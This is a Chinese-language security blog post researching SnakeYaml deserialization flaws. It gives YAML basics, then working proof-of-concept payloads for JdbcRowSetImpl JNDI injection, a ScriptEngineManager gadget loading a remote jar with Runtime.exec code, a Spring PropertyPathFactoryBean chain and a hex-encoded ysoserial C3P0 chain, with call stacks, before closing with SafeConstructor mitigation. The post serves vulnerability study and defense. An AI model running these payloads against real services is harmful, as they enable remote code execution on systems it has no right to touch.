SnakeYaml反序列化漏洞研究 - 郑瀚Andrew
2023-11-14 11:13:0 Author: www.cnblogs.com(查看原文) 阅读量:17 收藏

SnakeYaml是Java中解析yaml的库,而yaml是一种人类可读的数据序列化语言,通常用于编写配置文件等。

YAML 的语法和其他高级语言类似,并且可以简单表达清单、散列表,标量等数据形态。它使用空白符号缩进和大量依赖外观的特色,特别适合用来表达或编辑数据结构、各种配置文件、倾印调试内容、文件大纲(例如:许多电子邮件标题格式和YAML非常接近)。

0x1:yaml基本语法

  • 大小写敏感
  • 使用缩进表示层级关系
  • 缩进只允许使用空格
  • #表示注释
  • 支持对象、数组、纯量这3种数据结构
    • 对象:键值对的集合,又称为映射(mapping)/ 哈希(hashes) / 字典(dictionary)
    • 数组:一组按次序排列的值,又称为序列(sequence) / 列表(list)
    • 纯量(scalars):单个的、不可再分的值

YAML 的配置文件后缀为 .yml,如:runoob.yml 。

1、yaml对象

对象键值对使用冒号结构表示 key: value,冒号后面要加一个空格。

也可以使用 key:{key1: value1, key2: value2, ...}。

还可以使用缩进表示层级关系;

key: 
    child-key: value
    child-key2: value2

2、yaml数组

以 - 开头的行表示构成一个数组:

一个相对复杂的例子:

companies:
    -
        id: 1
        name: company1
        price: 200W
    -
        id: 2
        name: company2
        price: 500W

意思是 companies 属性是一个数组,每一个数组元素又是由 id、name、price 三个属性构成。

数组也可以使用流式(flow)的方式表示:

companies: [{id: 1,name: company1,price: 200W},{id: 2,name: company2,price: 500W}]

3、复合结构

数组和对象可以构成复合结构,例:

languages:
  - Ruby
  - Perl
  - Python 
websites:
  YAML: yaml.org 
  Ruby: ruby-lang.org 
  Python: python.org 
  Perl: use.perl.org

4、纯量

纯量是最基本的,不可再分的值,包括:

  • 字符串
  • 布尔值
  • 整数
  • 浮点数
  • Null
  • 时间
  • 日期

使用一个例子来快速了解纯量的基本使用:

boolean: 
    - TRUE  #true,True都可以
    - FALSE  #false,False都可以
float:
    - 3.14
    - 6.8523015e+5  #可以使用科学计数法
int:
    - 123
    - 0b1010_0111_0100_1010_1110    #二进制表示
null:
    nodeName: 'node'
    parent: ~  #使用~表示null
string:
    - 哈哈
    - 'Hello world'  #可以使用双引号或者单引号包裹特殊字符
    - newline
      newline2    #字符串可以拆成多行,每一行会被转化成一个空格
date:
    - 2018-02-17    #日期必须使用ISO 8601格式,即yyyy-MM-dd
datetime: 
    -  2018-02-17T15:02:31+08:00    #时间使用ISO 8601格式,时间和日期之间使用T连接,最后使用+代表时区

5、引用

& 锚点和 * 别名,可以用来引用:

defaults: &defaults
  adapter:  postgres
  host:     localhost

development:
  database: myapp_development
  <<: *defaults

test:
  database: myapp_test
  <<: *defaults

上面.yaml文件相当于:

defaults:
  adapter:  postgres
  host:     localhost

development:
  database: myapp_development
  adapter:  postgres
  host:     localhost

test:
  database: myapp_test
  adapter:  postgres
  host:     localhost

& 用来建立锚点(defaults),<< 表示合并到当前数据,* 用来引用锚点。

参考链接:

https://www.runoob.com/w3cnote/yaml-intro.html

SnakeYaml提供了yaml数据和Java对象相互转换的API,即能够对数据进行序列化与反序列化。

  • Yaml.load():将yaml数据反序列化成一个Java对象
  • Yaml.dump():将Java对象序列化成yaml

新建maven项目,

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>SnakeYaml_test</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.yaml</groupId>
            <artifactId>snakeyaml</artifactId>
            <version>1.27</version>
        </dependency>
    </dependencies>

</project>

用于序列化的Person类,

package org.example;

public class Person {
    private String username;
    private int age;

    public Person() {}
    public Person(String username, int age) {
        this.username = username;
        this.age = age;
    }

    public int getAge() {
        System.out.println("getAge方法调用");
        return age;
    }

    public String getUsername() {
        System.out.println("getUsername方法调用");
        return username;
    }

    public void setAge(int age) {
        System.out.println("setAge方法调用");
        this.age = age;
    }

    public void setUsername(String username) {
        System.out.println("setUsername方法调用");
        this.username = username;
    }
}

测试序列化,SnakeYamlTest.java

package org.example;

import org.yaml.snakeyaml.Yaml;

public class SnakeYamlTest {
    public static void main(String[] args) {
        Yaml yaml = new Yaml();
        Person person = new Person("mike", 18);
        String str = yaml.dump(person);
        System.out.println(str);
    }
}

测试反序列化,

package org.example;

import org.yaml.snakeyaml.Yaml;

public class SnakeYamlTest {
    public static void main(String[] args) {
        // 反序列化
        String str = "!!org.example.Person {age: 18, username: mike}";
        Yaml yaml = new Yaml();
        Person person = (Person) yaml.load(str);
        System.out.println(person);
    }
}

参考链接:

https://chenergy1991.github.io/2019/04/27/yaml.load%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

snakeyaml的gadgets问题根源都出在construct机制上,snakeyaml会根据传入的yaml键值对,尝试实例化key对应的类,而不同的key导致了不同的gadgets。所以当Yaml.load()函数的参数外部可控时,攻击者就可以传入一个恶意类的yaml格式序列化内容,当服务端进行yaml反序列化获取恶意类时就会触发SnakeYaml反序列化漏洞。

0x1:JdbcRowSetImpl gadget

package org.example;

import org.yaml.snakeyaml.Yaml;

public class PocTest1 {
    public static void main(String[] args) {
        String poc = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://f80226cf33.ipv6.1433.eu.org/evil, autoCommit: true}";
        Yaml yaml = new Yaml();
        yaml.load(poc);
    }
}

接下来单步跟踪gadget漏洞代码,

继续来到Yaml类中的loadFromReader方法,

进入BaseConstructor的getSingleData方法,

继续进入constructDocument函数看看如何转换成Java对象的,

继续查看constructObject函数,判断当前属性中是否存在与当前节点对应的Java对象,如果存在则返回该对象,如果不存在则调用constructObjectNoCheck方法创建。

这里的this.constructedObjects属性中并没有对应的节点,所以只能调用constructObjectNoCheck函数创建, 

这里的constructor是ConstructYamlObject对象,查看其construct方法, 

获取到的构造器是ConstructMapping对象,进入其construct函数,

在constructJavaBean2ndStep函数中,会获取yaml格式数据中的属性键值对,调用property.set()来设置上面实例化对象的属性,

在MethodProperty类的set方法中,获取了相应属性的方法进行invoke,

即会调用JdbcRowSetImpl的setAutoCommit方法,而在setAutoCommit方法中包含了lookup请求(且lookup参数也在yaml反序列化中被set成了外部可控的dataSourceName),这样就成功触发了JdbcRowSetImpl链和JNDI注入了。

整个gadget函数调用栈如下:

getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
set:77, MethodProperty (org.yaml.snakeyaml.introspector)
constructJavaBean2ndStep:285, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:171, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:331, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:229, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:219, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:173, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:157, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:490, Yaml (org.yaml.snakeyaml)
load:416, Yaml (org.yaml.snakeyaml)
main:9, PocTest1 (SnakeYaml)

0x2:ScriptEngineManager gadget

yaml反序列化时可以通过!!+全类名指定反序列化的类,反序列化过程中会实例化该类,可以通过构造ScriptEngineManagerpayload并利用SPI机制通过URLClassLoader或者其他payload如JNDI方式远程加载实例化恶意类从而实现任意代码执行。

1、什么是SPI机制 

SPI(Service Provider Interface),JDK内置的一种服务提供发现机制。它的利用方式是通过在ClassPath路径下的META-INF/services文件夹下查找文件,自动加载文件中所定义的类。

例如以mysql-connector包为例:

Dirver类中的内容是:

这个Driver类实现了java.sql.Driver接口,这段代码主要是将当前类的实例注册为MySQL数据库的驱动程序,实现了一个MySQL数据库的Java驱动程序。

这个方法会在JVM启动时执行,从而确保了该驱动程序在应用程序启动时已经被注册。当应用程序需要连接MySQL数据库时,可以通过DriverManager类的getConnection()方法获取com.mysql.cj.jdbc.Driver类的实例,进而建立MySQL数据库连接。

ScriptEngineManager gadget就是用到SPI机制,会通过远程地址寻找META-INF/services目录下的javax.script.ScriptEngineFactory然后去加载文件中指定的PoC类从而触发远程代码执行。

2、gadget demo复现

package org.example;

import org.yaml.snakeyaml.Yaml;

public class PocTest2 {
    public static void main(String[] args) {
        String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://f80226cf33.ipv6.1433.eu.org\"]]]]\n";
        Yaml yaml = new Yaml();
        yaml.load(poc);
    }
}

dnslog平台出现请求记录,用于验证是否存在该漏洞且ScriptEngineManager链是否可用。

3、命令执行gadget复现与分析

下载现成的payload生成项目:https://github.com/artsploit/yaml-payload.git

注意其中在META/services文件夹的文件中,里面的内容即是我们的恶意类,

在AwesomeScriptEngineFactory类中,它实现了ScriptEngineFactory接口,

package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("dig f80226cf33.ipv6.1433.eu.org");
            Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String getEngineName() {
        return null;
    }

    @Override
    public String getEngineVersion() {
        return null;
    }

    @Override
    public List<String> getExtensions() {
        return null;
    }

    @Override
    public List<String> getMimeTypes() {
        return null;
    }

    @Override
    public List<String> getNames() {
        return null;
    }

    @Override
    public String getLanguageName() {
        return null;
    }

    @Override
    public String getLanguageVersion() {
        return null;
    }

    @Override
    public Object getParameter(String key) {
        return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }

    @Override
    public String getProgram(String... statements) {
        return null;
    }

    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}

更改里面的命令执行代码,使用以下命令进行编译即可,

/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home/bin/javac src/artsploit/AwesomeScriptEngineFactory.java
/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home/bin/jar -cvf yaml-payload.jar -C src/ .

注意:一定要使用一致的java版本进行编译和实际攻击运行。

在ScriptEngineFactory类中有对我们构造的恶意类实例化的过程,在实例化时会自动调用构造函数从而导致命令执行。

我们接下来构造本地复现环境,

python3 -m http.server 8080

构造测试类PocTest3.java

跟踪一下利用过程,

前面的大致步骤还是和JdbcRowSetImpl链的过程一致,这里的关键在于Constructor不一致,这个gadget是ConstructSequence,在对ScriptEngineManager实例化的过程中就会触发命令执行。

接下来继续分析一下ScriptEngineManager链的利用过程,即ScriptEngineManager实例化的过程中具体是如何触发了ScriptEngineManager链的。

首先来到其构造函数,传入的loader是URLClassLoader。

进入init函数,都是一些属性的初始化,最后调用initEngines函数,传入loader,

跟进while (itr.hasNext()) {循环,itr是ServiceLoader对象,会调用其next方法,

lookupIterator是ServiceLoader$LazyIterator,调用其next方法,

这段代码用于在存在安全管理器的系统中以安全的方式获取下一个服务对象,这里直接进nextService函数,

先加载scriptengine类

下一次循环则加载我们前面构造的恶意类,

如果获取类成功,方法将检查该类是否是 service 类型的子类。如果该类是 service 类型的子类,方法将会尝试通过cast方法创建一个实例对象 p,并将其存储到 providers 集合中,

实例化对象p的过程中,就触发了远程类(URL中jar包对应的恶意类)的实例化,从而触发静态代码块/无参构造方法的执行来达到任意代码执行的目的,进而触发了我们在恶意类构造函数中的恶意代码。  

gadgets函数调用栈如下:

nextService:381, ServiceLoader$LazyIterator (java.util)
next:404, ServiceLoader$LazyIterator (java.util)
next:480, ServiceLoader$1 (java.util)
initEngines:122, ScriptEngineManager (javax.script)
init:84, ScriptEngineManager (javax.script)
<init>:75, ScriptEngineManager (javax.script)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:422, Constructor (java.lang.reflect)
construct:570, Constructor$ConstructSequence (org.yaml.snakeyaml.constructor)
construct:331, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:229, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:219, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:173, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:157, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:490, Yaml (org.yaml.snakeyaml)
load:416, Yaml (org.yaml.snakeyaml)
main:10, PocTest2 (SnakeYaml)

这个PoC就是基于javax.script.ScriptEngineManager的利用链通过URLClassLoader实现的代码执行。github上已经有现成的利用项目,可以更改好项目代码部署在web上即可。所以说SnakeYaml通常的一个利用条件是需要出网的。当然也可以写个自定义的ClassLoader然后通过defineClass加载 bytecode的base64字符串达到打内存马的一个目的。

0x3:Spring PropertyPathFactoryBean

参考Mike7ea师傅的文章

需要在目标环境存在springframework相关的jar包,可以直接将String类型的PoC传参给Yaml.load(),也可以从文件中读取内容传入文件流给Yaml.load(),需要注意PoC中的各行的间隔距离:

public class Test {
    public static void main(String[] args){
        String poc = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" +
                " targetBeanName: \"ldap://localhost:1389/Exploit\"\n" +
                " propertyPath: mi1k7ea\n" +
                " beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" +
                "  shareableResources: [\"ldap://localhost:1389/Exploit\"]";
        Yaml yaml = new Yaml();
        yaml.load(poc);
    }
}

PropertyPathFactoryBean类的beanFactory属性可以设置一个远程的Factory,类似于JNDI注入的原理,当SnakeYaml反序列化的时候会调用到该属性的setter方法,通过JNDI注入漏洞成功实现反序列化漏洞的利用。

函数调用栈如下:

lookup:92, JndiLocatorSupport (org.springframework.jndi)
doGetSingleton:220, SimpleJndiBeanFactory (org.springframework.jndi.support)
getBean:113, SimpleJndiBeanFactory (org.springframework.jndi.support)
getBean:106, SimpleJndiBeanFactory (org.springframework.jndi.support)
setBeanFactory:196, PropertyPathFactoryBean (org.springframework.beans.factory.config)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
set:77, MethodProperty (org.yaml.snakeyaml.introspector)
constructJavaBean2ndStep:263, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:149, Constructor$ConstructMapping (org.yaml.snakeyaml.constructor)
construct:309, Constructor$ConstructYamlObject (org.yaml.snakeyaml.constructor)
constructObjectNoCheck:216, BaseConstructor (org.yaml.snakeyaml.constructor)
constructObject:205, BaseConstructor (org.yaml.snakeyaml.constructor)
constructDocument:164, BaseConstructor (org.yaml.snakeyaml.constructor)
getSingleData:148, BaseConstructor (org.yaml.snakeyaml.constructor)
loadFromReader:525, Yaml (org.yaml.snakeyaml)
load:453, Yaml (org.yaml.snakeyaml)
main:19, Test

0x4:C3P0

思路类似于Fastjson通过C3P0二次反序列化,需要用到C3P0.WrapperConnectionPoolDataSource通过Hex序列化字节加载器,给userOverridesAsString赋值恶意序列化内容(本地Gadget)的Hex编码值达成利用。

这里以C3P0+CC2为例,生成一段CC2弹计算器的PoC,

/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home/bin/java -jar ysoserial.jar CommonsCollections2 "open -a Calculator" > ./calc.ser

读取文件内容并Hex编码,

package org.example;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;

public class HexEncode {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        System.out.println("hello");
        InputStream in = new FileInputStream("/Users/zhenghan/Projects/SnakeYaml_test/calc.ser");
        byte[] data = toByteArray(in);
        in.close();
        String HexString = bytesToHexString(data, data.length);
        System.out.println(HexString);

    }

    public static byte[] toByteArray(InputStream in) throws IOException {
        byte[] classBytes;
        classBytes = new byte[in.available()];
        in.read(classBytes);
        in.close();
        return classBytes;
    }

    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);

        for(int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }

            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }
}

最终SnakeYaml Payload poc如下:

package org.example;

import org.yaml.snakeyaml.Yaml;
import org.yaml.snakeyaml.constructor.SafeConstructor;

public class PocTest4 {
    public static void main(String[] args) {
        String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
                "userOverridesAsString: 'HexAsciiSerializedMap:ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA30B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F7574696C2F436F6D70617261746F723B787000000002737200426F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E5472616E73666F726D696E67436F6D70617261746F722FF984F02BB108CC0200024C00096465636F726174656471007E00014C000B7472616E73666F726D657274002D4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E73342F5472616E73666F726D65723B7870737200406F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E436F6D70617261626C65436F6D70617261746F72FBF49925B86EB13702000078707372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000E6E65775472616E73666F726D6572757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007704000000037372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E000B4C00055F6E616D6571007E000A4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E00200007870000006A8CAFEBABE0000003200390A0003002207003707002507002601001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391DDEF3E0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B0100097472616E73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700270100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07002801003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F6164010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740100146A6176612F696F2F53657269616C697A61626C65010039636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F5472616E736C6574457863657074696F6E01001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F52756E74696D6507002A01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C002C002D0A002B002E0100126F70656E202D612043616C63756C61746F7208003001000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003200330A002B003401000D537461636B4D61705461626C6501001E79736F73657269616C2F50776E65723534313934313836373939373338390100204C79736F73657269616C2F50776E65723534313934313836373939373338393B002100020003000100040001001A000500060001000700000002000800040001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000002F000E0000000C000100000005000F003800000001001300140002000C0000003F0000000300000001B100000002000D00000006000100000034000E00000020000300000001000F0038000000000001001500160001000000010017001800020019000000040001001A00010013001B0002000C000000490000000400000001B100000002000D00000006000100000038000E0000002A000400000001000F003800000000000100150016000100000001001C001D000200000001001E001F00030019000000040001001A00080029000B0001000C00000024000300020000000FA70003014CB8002F1231B6003557B1000000010036000000030001030002002000000002002100110000000A000100020023001000097571007E0018000001D4CAFEBABE00000032001B0A0003001507001707001807001901001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C75650571E669EE3C6D47180100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010003466F6F01000C496E6E6572436C61737365730100254C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F3B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07001A01002379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F0100106A6176612F6C616E672F4F626A6563740100146A6176612F696F2F53657269616C697A61626C6501001F79736F73657269616C2F7061796C6F6164732F7574696C2F47616467657473002100020003000100040001001A000500060001000700000002000800010001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000003C000E0000000C000100000005000F001200000002001300000002001400110000000A000100020016001000097074000450776E727077010078737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B02000078700000000178;'";
        Yaml yaml = new Yaml(new SafeConstructor());
        yaml.load(poc);
    }
}

参考链接:

https://xz.aliyun.com/t/12783#toc-4
https://github.com/artsploit/yaml-payload/tree/master
https://tttang.com/archive/1591/
http://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#Spring-PropertyPathFactoryBean
  • 禁止yaml.load方法中的参数可控
  • 使用Yaml yaml = new Yaml(new SafeConstructor());在org\yaml\snakeyaml\constructor\SafeConstructor.class构造函数中定义了反序列化类的白名单:
public SafeConstructor(LoaderOptions loadingConfig) {
        super(loadingConfig);
        this.yamlConstructors.put(Tag.NULL, new ConstructYamlNull());
        this.yamlConstructors.put(Tag.BOOL, new ConstructYamlBool());
        this.yamlConstructors.put(Tag.INT, new ConstructYamlInt());
        this.yamlConstructors.put(Tag.FLOAT, new ConstructYamlFloat());
        this.yamlConstructors.put(Tag.BINARY, new ConstructYamlBinary());
        this.yamlConstructors.put(Tag.TIMESTAMP, new ConstructYamlTimestamp());
        this.yamlConstructors.put(Tag.OMAP, new ConstructYamlOmap());
        this.yamlConstructors.put(Tag.PAIRS, new ConstructYamlPairs());
        this.yamlConstructors.put(Tag.SET, new ConstructYamlSet());
        this.yamlConstructors.put(Tag.STR, new ConstructYamlStr());
        this.yamlConstructors.put(Tag.SEQ, new ConstructYamlSeq());
        this.yamlConstructors.put(Tag.MAP, new ConstructYamlMap());
        this.yamlConstructors.put((Object)null, undefinedConstructor);
        this.yamlClassConstructors.put(NodeId.scalar, undefinedConstructor);
        this.yamlClassConstructors.put(NodeId.sequence, undefinedConstructor);
        this.yamlClassConstructors.put(NodeId.mapping, undefinedConstructor);
    }

加入白名单过滤后,上述Poc失效,

package org.example;

import org.yaml.snakeyaml.Yaml;
import org.yaml.snakeyaml.constructor.SafeConstructor;

public class PocTest3 {
    public static void main(String[] args) {
        String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:8080/yaml-payload.jar\"]]]]\n";
        Yaml yaml = new Yaml(new SafeConstructor());
        yaml.load(poc);
    }
}

参考链接:

https://www.cnblogs.com/nice0e3/p/14514882.html#0x03-%E6%BC%8F%E6%B4%9E%E4%BF%AE%E5%A4%8D 

文章来源: https://www.cnblogs.com/LittleHann/p/17828948.html
如有侵权请联系:admin#unsafe.sh